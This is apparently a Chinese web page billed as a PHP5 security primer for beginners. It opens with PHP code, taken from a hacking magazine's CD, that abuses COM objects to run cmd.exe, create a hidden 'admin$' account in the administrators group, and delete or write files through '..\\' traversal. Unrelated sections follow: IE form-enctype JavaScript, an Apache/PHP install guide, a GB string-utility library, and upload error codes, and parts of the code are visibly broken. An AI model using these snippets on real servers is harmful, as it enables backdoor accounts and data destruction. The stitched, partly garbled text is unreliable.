php5的安全问题讲解[新手必读]

 更新时间:2016年11月25日 15:17  点击:1464

问题存在于php5,windows平台,通用apache2和iis
添加用户
<?php
$wscript = new COM('wscript.shell'); $wscript->Run("cmd.exe /c net user admin$ /add");
$wscript->Run("cmd.exe /c net localgroup administrators admin$ /add");
?>
测试结果为添加了受限的用户,并没有加入管理员组

通过http 服务软件运行程序。
<?php
$compatUI = new COM('{0355854A-7F23-47E2-B7C3-97EE8DD42CD8}');
$compatUI->RunApplication("something", "notepad.exe", 1);
?>
测试结果为进程继承了http服务软件的权限。
以服务为运行方式的http服务软件运行的进程是不可视的,但如果用zend studio来运行的话就可以看见了。

其他代码没有一一测试,现将黑防杂志附送光盘里的代码贴上来。

RunApplication函数测试代码
<?php
$compatUI = new COM('{0355854A-7F23-47E2-B7C3-97EE8DD42CD8}');
$compatUI->RunApplication("something", "notepad.exe", 1);
?>

Wscript运行命令测试代码
<?php
$wscript = new COM('wscript.shell');
$wscript->Run("cmd.exe /c calc.exe");
?>
<?php
$wscript = new COM('wscript.shell'); $wscript->Run("cmd.exe /c net user admin$ /add");
$wscript->Run("cmd.exe /c net localgroup administrators admin$ /add");
?>

OpenTextFile测试代码
<?php   
$mPath = str_repeat("..\",20);
$FSO = new COM('Scripting.FileSystemObject');
$FSO->OpenTextFile($mPath."bat.bat", 8, true);
?>   

DeleteFile测试代码
<?php
$mPath = str_repeat("..\",20);
$FSOdelFile = new COM('Scripting.FileSystemObject');
$FSOdelFile->DeleteFile($mPath.".\*.dat", True);
?>

DeleteFolder测试代码
<?php
$mPath = str_repeat("..\",20);
$FSOdelFolder = new COM('Scripting.FileSystemObject');
$FSOdelFolder->DeleteFolder($mPath.".\11", True);
?>

Create函数测试代码
<?php
$user = new COM('{60664CAF-AF0D-0004-A300-5C7D25FF22A0}');
$user->Create("asd");
?>

动态设置上传文件的enctype


<fm id="up" name="up" action="upfileile.php" method="post" enctype="multipart/fm-data">
<input type="file" name="upfileilefile[]" />
<input type="file" name="upfileilefile[]" />
<button type="submit" >upfileile</button>
</fm>
学过js的人可能试图用js检查并控制enctype得类型

fm=document.getElementById('up');
if(fm.getAttribute('enctype')!='multipart/fm-data'){
    fm.setAttribute('enctype','multipart/fm-data');
}以上代码完全按照W3C格式
FF下运行良好 但是IE不兼容,其它浏览器可以不兼容,就IE不能不兼容
在看YUI类库时得到启发
IE中fm没有enctype属性,只有encoding属性,那么以上代码改写为:

fm=document.getElementById('up');
if(fm.getAttribute('enctype')!='multipart/fm-data'&&fm.encoding!='multipart/fm-data')
  if(fm.encoding){
      fm.setAttribute('encoding','multipart/fm-data');
  }else{
      fm.setAttribute('enctype','multipart/fm-data');
  }
}
//最外成if判断可以去掉 因为你是要设置它可以上传文件这样你可以试试这样得代码了
<script type="text/javascript">
function upfileile(fm){
  if(fm.encoding){
      fm.setAttribute('encoding','multipart/fm-data');
  }else{
      fm.setAttribute('enctype','multipart/fm-data');
  }
  fm.setAttribute('method',post');
  if(!fm.getAttribue('action')){
      fm.setAttribute('action',location.href);
  }
  fm.submit();
}
</script>
<fm action="upfileile.php" onsubmit="try{upfileile(this);}catch(e){};return false;">
<input type="file" name="upfileilefile[]" />
<input type="file" name="upfileilefile[]" />
<button type="submit" >upfileile</button>
</fm>

与JSP相比,PHP具学习简单、运行更新快、安全性高等特点,所以在编写动态网页时,PHP是首选。大家都知道,PHP边学的程序只能在服务器端运行,所以要运行你编写的程序,除了下载PHP程序编译器外,还要下载一个web服务器软件。如果是用微软的IIS,PHP的性能是不能完全发挥出来的。只要Apache和PHP搭配才是最家方案,这种优势在Linux下尤为突出,下面我们一起来下载安装:

1. Apache2
先下载安装Apache2,可以到其官方网站(http://www.apache.org)下载。
下载地址:http://archive.apache.org/dist/httpd/binaries/win32/
下载文件为:apache_2.0.53-win32-x86-no_ssl.exe ,双击安装,如下图:

图一. 安装Apache是所注意的地方
打开IE浏览器,在地址栏里输入 http://localhost 后点回车,如果可以看到下图内容,说明安装正确



打开安装地址..\Apache2\conf中的文件httpd.conf,找到DocumentRoot "C:/Program Files/Apache2/htdocs",修改路径为你站点所在位置,如DocumentRoot "D:/web"。注意:“\”在此要改为“/”。保存httpd.conf文件并重起Apache即可。如下图所示:

2. PHP
首先我们到PHP官方网站(http://www.php.net)下载PHP5。
下载地址:http://www.php.net/get/php-5.1.0RC1-Win32.zip/from/a/mirror
下载文件为:php-5.1.0RC1-Win32.zip。解压后改名为php,考入C盘根目录下即可。
下面我们设置Apache和PHP,让他们能一起工作。打开C:\php中的文件install.txt,找到Example 2-5. PHP and Apache 2.0 as CGI一行,即适应于 Apache 2.0 ,将起后面的语句复制到httpd.conf文件最后,保存httpd.conf文件并重起Apache即可。

要复制的语句如下:
ScriptAlias /php/ "c:/php/"
AddType application/x-httpd-php .php

&#35; For PHP 4
Action application/x-httpd-php "/php/php.exe"

&#35; For PHP 5
Action application/x-httpd-php "/php/php-cgi.exe"




由于PHP 5 不再绑定 MySQL 客户端库例,如我们在运行PHP程序时出现
Fatal error: Call to undefined function mysql_connect()
大家不要着急,我们手动在 php.ini 中激活 php_mysql.dll 扩展库,就可以了,方法很简单,将C:\php中的php.ini-dist该名为php.ini,找到下列语句
......
;extension=php_mssql.dll
;extension=php_msql.dll
;extension=php_mysql.dll
;extension=php_oci8.dll
.....
首先是去掉;extension=php_mysql.dll前面的“;”(;为注释),第二步是将C:\php\ext中的php_mysql.dll复制到C:\WINDOWS(C:\WINNT)中即可,或者将环境变量的PATH值增加;C:\php\ext。保存并重起Apache。
<?
phpinfo();
?>
运行后如果显示如下图,说明设置正确


文章录入

<?
/*    中文处理工具函数
--- 空格 ---
      string GBspace(string) --------- 每个中文字之间加空格
      string GBunspace(string) ------- 每个中文字之间的空格清除
      string clear_space(string) ------- 用来清除多余的空格

--- 转换 ---
      string GBcase(string,offset) --- 将字符串内的中英文字转换大小写
                              offset : "upper"   - 字符串全转为大写 (strtoupper)
                                       "lower"   - 字符串全转为小写 (strtolower)
                                       "ucwords" - 将字符串每个字第一个字母改大写 (ucwords)
                                       "ucfirst" - 将字符串第一个字母改大写 (ucfirst)
      string GBrev(string) ----------- 颠倒字符串

--- 文字检查 ---
      int GB_check(string) ----------- 检查字符串内是否有 GB 字,有会返回 true,
                                         否则会返回false
      int GB_all(string) ------------- 检查字符串内所有字是否有 GB 字,是会返回 true,
                                         否则会返回false
      int GB_non(string) ------------- 检查字符串内所有字并不是 GB 字,是会返回 true,
                                         否则会返回false
      int GBlen(string) -------------- 返回字符串长度(中文字只计一字母)

--- 查找、取代、提取 ---
      int/array GBpos(haystack,needle,[offset]) ---- 查找字符串 (strpos)
                              offset : 留空 - 查找第一个出现的位置
                                       int  - 由该位置搜索出现的第一个位置
                                       "r"  - 查找最后一次出现的位置 (strrpos)
                                       "a"  - 将所有查找到的字储存为数组(返回 array)

      string GB_replace(needle,str,haystack) -- 查找与取代字符串 (str_replace)
      string GB_replace_i(needle,str_f,str_b,haystack) -- 不检查大小写查找与取代字符串
                                         needle - 查找字母
                                         str - 取代字母 ( str_f - 该字母前, str_b 该字母后)
                                         haystack - 字符串

      string GBsubstr(string,start,[length]) -- 从string提取出由开始到结尾或长度
                                                  length的字符串。
                                                  中文字只计一字母,可使用正负数。
      string GBstrnear(string,length)         -- 从 string提取最接近 length的字符串。
                                                   length 中 中文字计2个字母。

--- 注意 ---
      如使用由 Form 返回的字符串前,请先替字符串经过 stripslashes() 处理,除去多余的 \ 。

      用法:在原 PHP 代码内加上:
      include ("GB.inc");
      即可使用以上工具函数。
*/

function GBlen($string) {
    $l = strlen($string);
    $ptr = 0;
    $a = 0;
    while ($a < $l) {
        $ch = substr($string,$a,1);
        $ch2 = substr($string,$a+1,1);
        if (ord($ch) >= HexDec("0x81") && ord($ch2) >= HexDec("0x40")) {
            $ptr++;
            $a += 2;
        } else {
            $ptr++;
            $a++;
        } // END IF
    } // END WHILE

    return $ptr;
}

function GBsubstr($string,$start,$length) {
    if (!is_int($length) && $length != "") {
        return "错误:length 值错误(必须为数值)。<br>";
    } elseif ($length == "0") {
        return "";
    } else {
    $l = strlen($string);
    $a = 0;
    $ptr = 0;
    $str_list = array();
    $str_list2 = array();
    while ($a < $l) {
        $ch = substr($string,$a,1);
        $ch2 = substr($string,$a+1,1);
        if (ord($ch) >= HexDec("0x81") && ord($ch2) >= HexDec("0x40")) {
            $str_list[$ptr] = $a;
            $str_list2[$ptr] = $a+1;
            $ptr++;
            $a += 2;
        } else {
            $str_list[$ptr] = $a;
            $str_list2[$ptr] = $a;
            $ptr++;
            $a++;
        } // END IF
    } // END WHILE

    if ($start > $ptr || -$start > $ptr) {
        return;
    } elseif ($length == "") {
        if ($start >= 0) { // (text,+)
            return substr($string,$str_list[$start]);
        } else { // (test,-)
            return substr($string,$str_list[$ptr + $start]);
        }
    } else {

        if ($length > 0) { // $length > 0


            if ($start >= 0) {  // (text,+,+)
                if (($start + $length) >= count($str_list2)) {
                    return substr($string,$str_list[$start]);
                } else { //(text,+,+)
                    $end = $str_list2[$start + ($length - 1)] - $str_list[$start] +1;
                    return substr($string,$str_list[$start],$end);
                }

            } else { // (text ,-,+)
                $start = $ptr + $start;
                if (($start + $length) >= count($str_list2)) {
                    return substr($string,$str_list[$start]);
                } else {
                    $end = $str_list2[$start + ($length - 1)] - $str_list[$start] +1;
                    return substr($string,$str_list[$start],$end);
                }
            }

        } else { // $length < 0
            $end = strlen($string) - $str_list[$ptr+$length];
            if ($start >= 0) {  // (text,+,-) {
                return substr($string,$str_list[$start],-$end);
            } else { //(text,-,-)
                $start = $ptr + $start;
                return substr($string,$str_list[$start],-$end);
            }

        } // END OF LENGTH > / < 0

    }
    } // END IF
}

function GB_replace($needle,$string,$haystack) {
    $l = strlen($haystack);
    $l2 = strlen($needle);
    $l3 = strlen($string);
    $news = "";
    $skip = 0;
    $a = 0;
    while ($a < $l) {
        $ch = substr($haystack,$a,1);
        $ch2 = substr($haystack,$a+1,1);
        if (ord($ch) >= HexDec("0x81") && ord($ch2) >= HexDec("0x40")) {
            if (substr($haystack,$a,$l2) == $needle) {
                $news .= $string;
                $a += $l2;
            } else {
                $news .= $ch.$ch2;
                $a += 2;
            }
        } else {
            if (substr($haystack,$a,$l2) == $needle) {
                $news .= $string;
                $a += $l2;
            } else {
                $news .= $ch;
                $a++;
            }
        } // END IF
    } // END WHILE
    return $news;
}

function GB_replace_i($needle,$str_f,$str_b,$haystack) {

    $l = strlen($haystack);
    $l2 = strlen($needle);
    $l3 = strlen($string);
    $news = "";
    $skip = 0;
    $a = 0;
    while ($a < $l) {
        $ch = substr($haystack,$a,1);
        $ch2 = substr($haystack,$a+1,1);
        if (ord($ch) >= HexDec("0x81") && ord($ch2) >= HexDec("0x40")) {
            if (GBcase(substr($haystack,$a,$l2),"lower") == GBcase($needle,"lower")) {
                $news .= $str_f . substr($haystack,$a,$l2) . $str_b;
                $a += $l2;
            } else {
                $news .= $ch.$ch2;
                $a += 2;
            }
        } else {
            if (GBcase(substr($haystack,$a,$l2),"lower") == GBcase($needle,"lower")) {
                $news .= $str_f . substr($haystack,$a,$l2) . $str_b;
                $a += $l2;
            } else {
                $news .= $ch;
                $a++;
            }
        } // END IF
    } // END WHILE
    return $news;
}



function GBpos($haystack,$needle,$offset) {
    if (!is_int($offset)) {
        $offset = strtolower($offset);
        if ($offset != "" && $offset != "r" && $offset != "a") {
            return "错误:offset 值错误。<br>";
        }
    }
    $l = strlen($haystack);
    $l2 = strlen($needle);
    $found = false;
    $w = 0; // WORD
    $a = 0; // START

    if ($offset == "" || $offset == "r") {
        $atleast = 0;
        $value = false;
    } elseif ($offset == "a") {
        $value = array();
        $atleast = 0;
    } else {
        $value = false;
        $atleast = $offset;
    }
    while ($a < $l) {
        $ch = substr($haystack,$a,1);
        $ch2 = substr($haystack,$a+1,1);
        if (ord($ch) >= HexDec("0x81") && ord($ch2) >= HexDec("0x40") && $skip == 0) {
            if (substr($haystack,$a,$l2) == $needle) {
                if ($offset == "r") {
                    $found = true;
                    $value = $w;
                } elseif ($offset == "a") {
                    $found = true;
                    $value[] = $w;
                } elseif (!$value) {
                    if ($w >= $atleast) {
                        $found = true;
                        $value = $w;
                    }
                }
            }
            $a += 2;
        } else {
            if (substr($haystack,$a,$l2) == $needle) {
                if ($offset == "r") {
                    $found = true;
                    $value = $w;
                } elseif ($offset == "a") {
                    $found = true;
                    $value[] = $w;
                } elseif (!$value) {
                    if ($w >= $atleast) {
                        $found = true;
                        $value = $w;
                    }
                }
            }
            $a++;
        }
        $w++;
    } // END OF WHILE
    if ($found) {
        return $value;
    } else {
        return $false;
    }
//    } // END OF WHILE

}

function GBrev($text) {
    $news = "";
    $l = strlen($text);
    $GB = 0;
    $a = 0;
    while ($a < $l) {
        $ch = substr($text,$a,1);
        $ch2 = substr($text,$a+1,1);
        if (ord($ch) >= HexDec("0x81") && ord($ch2) >= HexDec("0x40") && $skip == 0) {
            $a += 2;
            $news = $ch . $ch2 . $news;
        } else {
            $news = $ch . $news;
            $a++;
        }
    }
    return $news;
}

function GB_check($text) {
    $l = strlen($text);
    $a = 0;
    while ($a < $l) {
        $ch = substr($text,$a,1);
        $ch2 = substr($text,$a+1,1);
        if (ord($ch) >= HexDec("0x81") && ord($ch2) >= HexDec("0x40")) {
            return true;
        } else {
            return false;
        }
    }
}

function GB_all ($text) {
    $l = strlen($text);
    $all = 1;
    $a = 0;
    while ($a < $l) {
        $ch = substr($text,$a,1);
        $ch2 = substr($text,$a+1,1);
        if (ord($ch) >= HexDec("0x81") && ord($ch2) >= HexDec("0x40")) {
            $a += 2;
        } else {
            $a++;
            $all = 0;
        }
    }
    if ($all == 1) {
        return true;
    } else {
        return false;
    }
}

function GB_non ($text) {
    $l = strlen($text);
    $all = 1;
    $a = 0;
    while ($a < $l) {
        $ch = substr($text,$a,1);
        $ch2 = substr($text,$a+1,1);
        if (ord($ch) >= HexDec("0x81") && ord($ch2) >= HexDec("0x40")) {
            $a += 2;
            $all = 0;
        } else {
            $a++;
        }
    }
    if ($all == 1) {
        return true;
    } else {
        return false;
    }
}


function GBcase ($text,$case) {
    $case = strtolower($case);
    if ($case != "upper" && $case != "lower" && $case != "ucwords" && $case != "ucfirst") {
        return "函数用法错误。 $case";
    } else {
    $ucfirst = 0;
    $ucwords = 0;
    $news = "";
    $l = strlen($text);
    $GB = 0;
    $english = 0;

    $a = 0;
    while ($a < $l) {

    $ch = substr($text,$a,1);
    if ($GB == 0 && ord($ch) >= HexDec("0x81")) {

            $GB = 1;
            $english = 0;
            $news .= $ch;
            $ucwords = 0;
    
    } elseif ($GB == 1 && ord($ch) >= HexDec("0x40") && $english == 0) {
            $news .= "$ch";    
            $ucwords = 0;
            $GB = 0;

    } else {
        if ($case == "upper") {
            $news .= strtoupper($ch);
        } elseif ($case == "lower") {
            $news .= strtolower($ch);
        } elseif ($case == "ucwords") {
            if ($ucwords == 0) {
                $news .= strtoupper($ch);
            } else {
                $news .= strtolower($ch);
            }
            $ucwords = 1;
        } elseif ($case == "ucfirst") {
            if ($ucfirst == 0) {
                $news .= strtoupper($ch);
                $ucfirst = 1;
            } else {
                $news .= strtolower($ch);
                $ucfirst = 1;
            }
        } else {
            $news .= $ch;
        }
        if ($ch == " " || $ch == "\n") {
            $ucwords = 0;
        }
        $english = 1;
        $GB = 0;
    
    }

    $a++;
    
    } // END OF while
    return $news;
    } // end else
}



function GBspace ($text) {

    $news = "";
    $l = strlen($text);
    $GB = 0;
    $english = 0;

    $a = 0;
    while ($a < $l) {


    $ch = substr($text,$a,1);
    $ch2 = substr($text,$a+1,1);
    if (!($ch == " " && $ch2 == " ")) {
    if ($GB == 0) {
        if (ord($ch) >= HexDec("0x81")) {

            if ($english == 1) {
                if ((substr($text,$a-1,1) == " ") || (substr($text,$a-1,1) == "\n")) {
                    $news .= "$ch";
                } else {
                    $news .= " $ch";
                }
                $english = 0;
                $GB = 1;
            } else {
                $GB = 1;
                $english = 0;
                $news .= $ch;
            }
        } else {
            $english = 1;
            $GB = 0;
            $news .= $ch;
        }
        
    } else {
        if (ord($ch) >= HexDec("0x40")) {
            if ($english == 0) {
                if ((substr($text,$a+1,1) == " ")|| (substr($text,$a+1,1) == "\n")) {
                    $news .= "$ch";    
                } else {
                    $news .= "$ch ";
                }
            } else {
                $news .= " $ch";
            }
        } else {
            $english = 1;
            $news .= "$ch";
        }
        $GB = 0;
    }
    }
    $a++;
    } // END OF while

    // Chk 1 & last is space

    $l = strlen($news);
    if (substr($news,0,1) == " ") {
        $news = substr($news,1);
    }
    $l = strlen($news);
    if (substr($news,$l-1,1) == " ") {
        $news = substr($news,0,$l-1);
    }
    return $news;
}

function GBunspace($text) {
    $news = "";
    $l = strlen($text);
    $a = 0;
    $last_space = 1;
    while ($a < $l) {
    
        $ch = substr($text,$a,1);
        $ch2 = substr($text,$a+1,1);
        $ch3 = substr($text,$a+2,1);
        if (($a + 1) == $l ) {
            $last_space = 1;
        }
        if ($ch == " ") {
            if ($last_space == 0) {
            if (ord($ch2) >= HexDec("0x81") && ord($ch3) >= HexDec("0x40")) {
                if ($chi == 0) {
                    $news .= " ";
                    $last_space = 1;
                }
                $chi=1;


            } elseif ($ch2 != " ") {
                $news .= " ";
                $chi = 0;
                $last_space = 1;
            }
            }
        } else {
            if (ord($ch) >= HexDec("0x81") && ord($ch2) >= HexDec("0x40")) {
                $chi = 1;
                $a++;
                $news .= $ch . $ch2;
                $last_space = 0;

            } else {
                $chi = 0;
                $news .= $ch;
                $last_space = 0;
            }

        }
    $a++;
    }
    // Chk 1 & last is space

    $l = strlen($news);
    if (substr($news,0,1) == " ") {
        $news = substr($news,1);
    }
    $l = strlen($news);
    if (substr($news,$l-1,1) == " ") {
        $news = substr($news,0,$l-1);
    }
    return $news;



} // END OF Function

function GBstrnear($text,$length) {

$tex_len = strlen($text);
$a = 0;
$w = "";
while ($a < $tex_len) {
        $ch = substr($text,$a,1);
        $ch2 = substr($text,$a+1,1);
        if (GB_all($ch.$ch2)) {
            $w .= $ch.$ch2;
            $a=$a+2;
        } else {
            $w .= $ch;
            $a++;
        }
        if ($a == $length || $a == ($length - 1)) {
            $a = $tex_len;
        }
}
return $w;
} // END OF FUNCTION

function clear_space($text) {
    $t = "";
    for ($a=0;$a<strlen($text);$a++) {
        $ch = substr($text,$a,1);
        $ch2 = substr($text,$a+1,1);
        if ($ch == " " && $ch2 == " ") {
        } else {
            $t .= $ch;
        }
    }
    return $t;
}


?>

错误信息说明从 PHP 4.2.0 开始,

PHP 将随文件信息数组一起返回一个对应的错误代码。该代码可以在文件上传时生成的文件数组中的 error 字段中被找到,

也就是 $_FILES["userfile"]["error"]。

UPLOAD_ERR_OK 其值为 0,没有错误发生,文件上传成功。
UPLOAD_ERR_INI_SIZE 其值为 1,上传的文件超过了 php.ini 中 upload_max_filesize 选项限制的值。
UPLOAD_ERR_FORM_SIZE 其值为 2,上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值。
UPLOAD_ERR_PARTIAL 其值为 3,文件只有部分被上传。
UPLOAD_ERR_NO_FILE 其值为 4,没有文件被上传。
UPLOAD_ERR_NO_TMP_DIR 其值为 6,找不到临时文件夹。PHP 4.3.10 和 PHP 5.0.3 引进。
UPLOAD_ERR_CANT_WRITE 其值为 7,文件写入失败。PHP 5.1.0 引进。

[!--infotagslink--]

相关文章

  • 详解前端安全之JavaScript防http劫持与XSS

    作为前端,一直以来都知道HTTP劫持与XSS跨站脚本、CSRF跨站请求伪造。防御这些劫持最好的方法是从后端入手,前端能做的太少。而且由于源码的暴露,攻击者很容易绕过防御手段。但这不代表我们去了解这块的相关知识是没意义的,本文的许多方法,用在其他方面也是大有作用。...2021-05-24
  • PHP传值到不同页面的三种常见方式及php和html之间传值问题

    在项目开发中经常见到不同页面之间传值在web工作中,本篇文章给大家列出了三种常见的方式。接触PHP也有几个月了,本文总结一下这段日子中,在编程过程里常用的3种不同页面传值方法,希望可以给大家参考。有什么意见也希望大...2015-11-24
  • js修改input的type属性问题探讨

    js修改input的type属性有些限制。当input元素还未插入文档流之前,是可以修改它的值的,在ie和ff下都没问题。但如果input已经存在于页面,其type属性在ie下就成了只读属性了,不可以修改。...2013-10-19
  • Mysql常见问题集锦

    1,utf8_bin跟utf8_general_ci的区别 ci是 case insensitive, 即 "大小写不敏感", a 和 A 会在字符判断中会被当做一样的; bin 是二进制, a 和 A 会别区别对待. 例如你运行: SELECT * FROM table WHERE txt = 'a'...2013-10-04
  • Mysql大小写敏感的问题

    一、1 CREATE TABLE NAME(name VARCHAR(10)); 对这个表,缺省情况下,下面两个查询的结果是一样的:复制代码 代码如下: SELECT * FROM TABLE NAME WHERE name='clip'; SELECT * FROM TABLE NAME WH...2015-03-15
  • linux mint 下mysql中文支持问题

    一.mysql默认不支持中文,它的server和db默认是latin1编码.所以我们要将其改变为utf-8编码,因为utf-8包含了地球上大部分语言的二进制编码 1.关闭mysql服务 sudo /etc/init.d/mysql stop 2.修改mysql配置文件 mysql配...2015-10-21
  • 安全地关闭MySQL服务的教程

    普通关闭 我的mysql是自己下载的tar包,自己设定安装目录来安装的。停止mysql服务,说来简单,但不知道的话,还真是挠头。在这和mysql入门的同学们共享:)正确方法是,进入mysql的bin目录下,然后执行./mysqladmin -uroot -p shut...2015-11-24
  • C#实现线程安全的简易日志记录方法

    这篇文章主要介绍了C#实现线程安全的简易日志记录方法,比较实用的功能,需要的朋友可以参考下...2020-06-25
  • win2003 安装软件之PHP5 图文安装教程

    本教程共分八篇:系统安装与设置篇、软件安装与设置篇、文件及文件夹权限篇、系统服务篇、安全策略篇、系统组件篇、注册表篇、软件安全篇。本篇讨论的是第二篇软件安装与设置篇的第七部分:安装软件之PHP 5 安装图解。 ...2016-01-27
  • C#使用队列(Queue)解决简单的并发问题

    这篇文章主要介绍了使用队列(Queue)解决简单的并发问题,讲解的很细致,喜欢的朋友们可以了解一下...2020-06-25
  • apache中配置整合tomcat环境与安全配置

    系统:centos 5.9 环境:apache 2.2.25 tomcat 7.0.42 jdk 1.7.0 1.安装apache 我这里是直接yum安装的,如果你们要编译安装也不是不行. 代码如下 ...2016-01-28
  • windows 10 安装和使用中5个常见问题

    2015年7月29日0点起,Windows 10推送全面开启,Windows7、Windows8.1用户可以免费升级到Windows 10,用户也可以通过系统升级到Windows10,在这过程中,用户会遇到这样那样的问题,下面小编总结了windows 10 安装和使用中5个常见问题,需要的朋友可以参考下...2016-01-27
  • php中session常见问题分析

    PHP的session功能,一直为许多的初学者为难。就连有些老手,有时都被搞得莫名其妙。本文,将这些问题,做一个简单的汇总,以便大家查阅。 1. 错误提示 引用 代...2016-11-25
  • javascript学习指南之回调问题

    回调函数被认为是一种高级函数,一种被作为参数传递给另一个函数(在这称作"otherFunction")的高级函数,回调函数会在otherFunction内被调用(或执行)。回调函数的本质是一种模式(一种解决常见问题的模式),因此回调函数也被称为回调模式。...2016-04-25
  • MySQL数据库安全设置和常用管理方式

    当你第一次在机器上安装MySQL时,mysql数据库中的授权表是这样初始化的:你可以从本地主机(localhost)上以root连接而不指定口令。root用户拥有所有权限(包括管理权限) 并可做任何事情。...2013-09-19
  • json error: Use of overloaded operator [] is ambiguous错误的解决方法

    今天小编就为大家分享一篇关于json error: Use of overloaded operator [] is ambiguous错误的解决方法,小编觉得内容挺不错的,现在分享给大家,具有很好的参考价值,需要的朋友一起跟随小编来看看吧...2020-04-25
  • php open_basedir安全与使用详解

    open_basedir的作用就是指定目录位置了,意思是将PHP 所能打开的文件限制在指定的目录树,包括文件本身了,并且不受是不是安全模式的影响。 如下是php.ini中的原文...2016-11-25
  • 服务器绝对安全简要设置策略操作指南第1/2页

    偶这里是针对的WIN平台,现在的站长大部分都用WIN2003,相信没几个站长用低版本儿的操作系统的!...2016-01-27
  • sql安全之SQL注入漏洞拖库原理解析

    本文章以自己的一些经验来告诉你黑客朋友们会怎么利用你数据库的sql漏洞来把你的数据库下载哦,有需要的同这参考一下本文章。 在数据库中建立一张表: 代码...2016-11-25
  • IIS 环境下配置PHP5+MySql+PHPMyAdmin

    虽然主要是做.net开发的,但是,时不时的还要搞一下php,但是,php在windows下的配置,总是走很多弯路,正好前几天又配置了一下,因此总结在这里,做为自己的备忘,也希望给遇到问题的朋友们提供一些帮助。...2016-01-27